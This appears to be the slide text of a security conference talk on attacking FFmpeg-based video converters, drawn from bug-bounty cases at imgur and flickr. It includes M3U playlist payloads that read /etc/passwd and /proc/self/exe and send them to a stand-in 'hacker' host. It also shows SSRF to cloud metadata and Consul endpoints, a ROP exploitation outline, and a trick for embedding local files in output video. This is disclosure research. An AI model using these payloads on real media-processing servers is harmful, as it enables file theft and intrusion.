Phdays Ffmpeg
Phdays Ffmpeg
video converters:
a year later
Emil Lerner
Pavel Cheremushkin
Who we are?
Emil Lerner Pavel Cheremushkin
FFmpeg
Attack model
FFmpeg
(on target server)
Previous work
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
http://internal.host/api/method
#EXT-X-ENDLIST
“Viral Video”, BH USA 2016
M3U playlists: reading responses and files
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1 prefix.m3u:
#EXTINF:1.0,
http://hacker/prefix.m3u
#EXTM3U
#EXTINF:1.0,
#EXT-X-MEDIA-SEQUENCE:1
file:///etc/passwd
#EXTINF:1.0,
#EXT-X-ENDLIST
http://hacker/read?
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
http://hacker/read?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
● hosted on AWS
● AWS keys from metadata api didn’t work :(
● http://169.254.169.254/latest/user-data
mentions “Consul”
Bug bounty story #1 (imgur.com): Consul
Bug bounty story #1 (imgur.com): Consul
/v1/agent/self HTTP/1.1
Connection: Keep-Alive
...
#EXTINF:1.0,
#EXT-X-BYTERANGE: <size>@<offset>
file:///proc/self/exe
...
file_for_upload.avi:
...
#EXTINF:1.0,
#EXT-X-BYTERANGE: <size>@<offset>
file:///proc/self/exe
...
1. dump /proc/self/exe
2. adjust ropchains
3. fire rtmp:// request
Bug bounty story #2 (flickr.com)
Cool, but what if there’s no network?
Dump files directly to the video!
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST
...
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero
#EXT-X-BYTERANGE: 16
/dev/zero
...
= AES-10x00...00(0x00...00)
...
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
...
= AES-10x00...00(0x00...00) ⊕<VAL>
...
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
...
CONST
XBIN format
● ancient
● can draw symbols
● header length ≤ 16 bytes
AVI
AVI
GAB2
AVI
GAB2
M3U
AVI
GAB2
M3U
https://github.com/neex/ffmpeg-avi-m3u-xbin
Thank you!